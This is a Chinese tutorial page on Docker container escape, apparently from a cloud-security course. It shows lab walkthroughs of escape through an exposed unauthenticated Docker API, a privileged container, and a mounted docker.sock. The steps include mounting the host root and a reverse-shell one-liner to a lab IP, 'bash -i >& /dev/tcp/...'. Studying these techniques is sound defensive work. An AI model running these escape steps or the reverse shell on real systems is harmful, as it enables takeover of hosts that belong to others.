云安全
云安全概述
阿里云概述
亚马逊AWS概述
云计算导论
云计算概述
云计算的关键技术
虚拟化
分布式文件系统
云存储
数据处理
并行计算
OpenStack
容器
Kubernetes概述
Serverless
Hadoop
云原生
云数据中心
微服务
对象存储OSS
云存储
对象存储
对象文件(Object)
存储桶(存储空间)
通过外网访问OSS
存储桶漏洞
STS访问OSS
权限与访问控制
访问控制
Bucket&RAM Policy
预签名
Docker
01docker概述
02docker安装
03目录结构
04基础操作
05底层原理【理论】
06底层原理【实践】
07DockerFile
08容器反查Dockerfile
09Docker 逃逸
-
+
首页
09Docker 逃逸
## 如何确定是否在容器中 ### 控制组 Docker 容器的进程会被分配到独立的控制组(Cgroup),其 cgroup 文件中通常包含 docker 或容器 ID 相关的路径,而宿主机的 cgroup 路径一般不包含这些标识。 ```bash cat /proc/1/cgroup # 查看 init 进程(PID=1)的 cgroup 信息 # 或 cat /proc/self/cgroup # 查看当前进程的 cgroup 信息 ``` ### 根目录下的dockerenv文件 Docker 容器启动时,会在根目录(/)下创建一个隐藏文件 .dockerenv(早期版本可能是 .dockerinit),用于标识容器环境,宿主机通常没有这个文件。 ```bash ls -la / | grep .dockerenv ``` ```bash [root@b3c0d5448142 /]# ls -la / | grep .dockerenv -rwxr-xr-x 1 root root 0 Oct 22 02:09 .dockerenv ``` ### 进程树 宿主机的初始化进程(PID=1)通常是系统级服务管理器(如 systemd、upstart、sysvinit),而容器的初始化进程(PID=1)通常是容器内启动的应用(如 bash、nginx、python 等),且进程数量远少于宿主机。 ```bash pstree # 查看进程树(需安装,部分容器可能没有) # 或 ps -ef # 查看所有进程 ``` 容器中:ps -ef 显示的进程极少,且 PID=1 的进程通常是 bash、应用程序(如 nginx)等,而非 systemd。 宿主机中:ps -ef 会显示大量系统进程,且 PID=1 通常是 systemd(如 /usr/lib/systemd/systemd)。 ## API 未授权逃逸 ### 概述 API 未授权逃逸是指攻击者通过未受保护(缺乏认证、授权机制)的容器平台管理 API(如 Docker Daemon API、Kubernetes API Server 等),直接发起恶意请求,进而控制宿主机或容器集群,最终突破容器隔离的攻击方式。 这类逃逸的核心是利用 API 的权限滥用,无需依赖容器内部的特殊权限(如特权模式、挂载 docker.sock),仅通过网络访问未授权 API 即可实现。 ### 原理 容器平台的管理 API(如 Docker API)本质是 “权限入口”:API 调用会由宿主机的容器引擎(如 Docker Daemon)直接执行,且引擎通常以 root 权限运行。若 API 未授权,攻击者可通过 API 发送恶意指令,例如: 1. 创建一个挂载宿主机根目录的容器; 2. 在宿主机上启动特权容器; 3. 执行宿主机级别的命令(如通过容器挂载写入后门)。 4. 这些操作最终会突破容器隔离,实现对宿主机的控制。 ### 环境准备 1、在配置文件中增加监听端口,在docker.service的ExecStart启动项中增加 -H tcp://0.0.0.0:2375 作用是:让 Docker 守护进程(dockerd)同时监听 本地 Unix 套接字 和 TCP 端口 2375,从而允许远程主机通过 TCP 连接管理 Docker 服务。 命令解析: - unix://:默认的本地通信方式(对应 /var/run/docker.sock),供本地进程(如 docker 命令行)与 dockerd 交互。 - tcp://0.0.0.0:2375:让 dockerd 监听所有网络接口的 2375 端口,允许远程主机通过 docker -H tcp://<你的IP>:2375 <命令> 直接控制 Docker(例如部署容器、查看镜像等)。 ```bash root@ubuntu:~# systemctl status docker ● docker.service - Docker Application Container Engine Loaded: loaded (/usr/lib/systemd/system/docker.service; enabled; preset: enabled) Active: active (running) since Mon 2025-10-20 13:29:22 CST; 3min 9s ago TriggeredBy: ● docker.socket Docs: https://docs.docker.com Main PID: 1825 (dockerd) Tasks: 10 Memory: 100.9M (peak: 101.5M) CPU: 1.028s CGroup: /system.slice/docker.service └─1825 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock root@ubuntu:/home/test# vim /usr/lib/systemd/system/docker.service ``` ```bash ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.0:2375 ``` -H tcp://0.0.0.0:2375表示允许所有 IP 通过 2375 端口访问 Docker daemon。 2、重新加载配置并重启docker ```bash systemctl daemon-reload # 重新加载systemd配置 systemctl restart docker # 重启Docker服务 ``` 3、run一个容器: ```bash root@ubuntu:/home/test# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES root@ubuntu:/home/test# docker image ls REPOSITORY TAG IMAGE ID CREATED SIZE ubuntu latest 97bed23a3497 2 weeks ago 78.1MB centos 7 eeb6ee3f44bd 4 years ago 204MB root@ubuntu:/home/test# docker run -id --name centos centos:7 8431bd0bef36e5e4df729c28fd7e3d3bdd660dfc37d4e517346ea0e3d65f827a root@ubuntu:/home/test# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 8431bd0bef36 centos:7 "/bin/bash" 4 seconds ago Up 3 seconds centos root@ubuntu:/home/test# ``` 4、使用浏览器访问: ```url http://192.168.186.130:2375/containers/json ``` 就会得到该docker服务器上运行的docker容器列表。  5、根据容器的id,对容器进行命令执行操作。 路径为: ```bash /containers/<容器ID>/exec ``` ```json POST /containers/8431bd0bef36e5e4df729c28fd7e3d3bdd660dfc37d4e517346ea0e3d65f827a/exec HTTP/1.1 Host: 192.168.186.130:2375 Content-Type: application/json Content-Length: 173 { "AttachStdin": true, "AttachStdout": true, "AttachStdout": true, "Cmd": ["cat", "/etc/passwd"], "DetachKeys": "ctrl-p,ctrl-q", "Try": true } ```  返回包中的ID含有任务执行的结果,访问路径为: ```bash /exec/<job_id>/start ``` ```json POST /exec/0eaa6e4a5daa1df99ea7b30f3e1722c5a54ebf1dd5060c8ccc45892aa2879013/start HTTP/1.1 Host: 192.168.186.130:2375 Content-Type: application/json Content-Length: 44 { "Detach": false, "Try": false } ```   ### 逃逸步骤 可以在任意一台已经安装docker Client的设备上执行: 1、通过API可以直接查看docker 服务器上的镜像列表  值得注意的是:在 Docker 中,已运行的容器(running container)无法直接动态添加新的挂载点(包括将容器根目录挂载到宿主机或其他位置)。因为容器的挂载配置(volume或bind mount)是在创建容器时通过docker run -v参数指定的,一旦容器启动,其挂载关系就已固定,无法修改。 2、创建新的容器,并将根目录挂载到docker中。 ```bash docker -H tcp://192.168.186.130:2375 run -id --name escape -v /:/docker centos:7 ```  3、创建计划任务进行反弹shell: ```bash ln -s -f bash /bin/sh ``` ```bash /bin/bash -c 'bash -i >& /dev/tcp/192.168.186.128/443 0>&1' ```     ## 特权模式逃逸 当管理员执行“docker run -privileged”时,Docker容器被允许访问主机上的所有设备,并可以执行mount命令进行挂载。 ### 概述 Docker 的特权模式(Privileged Mode)是一种为容器赋予极高权限的运行模式,其设计初衷是方便某些需要直接操作宿主机硬件或内核的场景(如运行虚拟化工具、设备驱动调试等)。 当docker容器以--privileged 参数启动时,会获得以下权限: - 访问宿主机内的所有设备文件,/dev目录下的目录,如硬盘、网卡等; - 修改宿主机的内核参数,如sysctl配置等; - 加载或者卸载内核模块; - 操作宿主机的命名空间和控制组; - 基本等效于宿主机的root用户权限。 ### 原理 利用特权容器对宿主机资源的直接访问权,通过操作宿主机的物理设备、文件系统或内核接口,将容器内的权限延伸到宿主机。 ### 实验 ```bash root@ubuntu:~# ls snap target root@ubuntu:~# cat target GOOD root@ubuntu:~# docker image ls REPOSITORY TAG IMAGE ID CREATED SIZE ubuntu latest 97bed23a3497 2 weeks ago 78.1MB centos 7 eeb6ee3f44bd 4 years ago 204MB root@ubuntu:~# docker run -id --privileged --name escape ubuntu:latest a4bdde5e743b84c31d0cc03d5145351183e665357a2b81a8518c67f898043267 root@a4bdde5e743b:/# ls bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var root@a4bdde5e743b:/# ls root root@a4bdde5e743b:/# fdisk -l Device Start End Sectors Size Type /dev/sda1 2048 4095 2048 1M BIOS boot /dev/sda2 4096 62912511 62908416 30G Linux filesystem root@a4bdde5e743b:/# cd root root@a4bdde5e743b:~# ls root@a4bdde5e743b:~# mkdir ./escape && mount /dev/sda2 ./escape root@a4bdde5e743b:~# ls escape root@a4bdde5e743b:~# cd escape/ root@a4bdde5e743b:~/escape# cd root root@a4bdde5e743b:~/escape/root# ls snap target root@a4bdde5e743b:~/escape/root# cat target GOOD ``` ## socket挂载逃逸 ### 概述 挂载 Docker Socket(/var/run/docker.sock)是容器逃逸中一种常见且风险极高的场景。这种逃逸不依赖容器的 “特权模式”,而是利用容器对 Docker 守护进程(Docker Daemon)通信接口的直接访问权,通过 Docker API 间接控制宿主机,最终突破容器隔离。 /var/run/docker.sock 是 Docker 守护进程(运行在宿主机)的 UNIX 域套接字(Unix Domain Socket),是 Docker 客户端(如 docker 命令)与守护进程通信的 “桥梁”。所有 Docker 操作(如创建容器、启动镜像、挂载卷等)都通过这个 socket 发送请求给守护进程执行。 如果容器启动时通过 -v /var/run/docker.sock:/var/run/docker.sock 挂载了这个文件,意味着:容器内的进程可以直接与宿主机的 Docker 守护进程通信,拥有与宿主机上 docker 命令等效的权限(取决于宿主机上 Docker 守护进程的权限,通常是 root 级)。 ### 原理 Docker 守护进程运行在宿主机,且默认以 root 权限执行(为了管理宿主机的资源)。当容器内可以访问 docker.sock 时,攻击者可在容器内模拟 docker 客户端,通过 Docker API 向守护进程发送指令。 例如:创建一个挂载宿主机根目录的新容器,从而直接读写宿主机文件系统;或通过容器操作宿主机的进程、网络等资源,最终实现 “逃逸”。 ### 实验 在容器内安装docker ```bash root@4b68c9220d72:/#apt update -y root@4b68c9220d72:/#apt install curl -y #阿里云镜像 root@4b68c9220d72:/#curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun root@4b68c9220d72:/# docker --version Docker version 28.5.1, build e180ab8 ``` 检查容器内是否存在docker.socket文件 ```bash root@4b68c9220d72:/# ls -lah /var/run/docker.sock srw-rw---- 1 root 984 0 Oct 21 03:16 /var/run/docker.sock ``` 在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部: ```bash root@4b68c9220d72:/# docker images REPOSITORY TAG IMAGE ID CREATED SIZE ubuntu latest 97bed23a3497 2 weeks ago 78.1MB centos 7 eeb6ee3f44bd 4 years ago 204MB root@4b68c9220d72:/# docker run -it --name du -v /:/host ubuntu:latest /bin/bash root@ea6abced6f64:/# cd /host root@ea6abced6f64:/host# ls bin boot dev home lib.usr-is-merged lost+found mnt proc run sbin.usr-is-merged srv sys usr bin.usr-is-merged cdrom etc lib lib64 media opt root sbin snap swap.img tmp var root@ea6abced6f64:/host# cat root/target GOOD root@ea6abced6f64:/host# ```
毛林
2025年10月22日 10:15
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码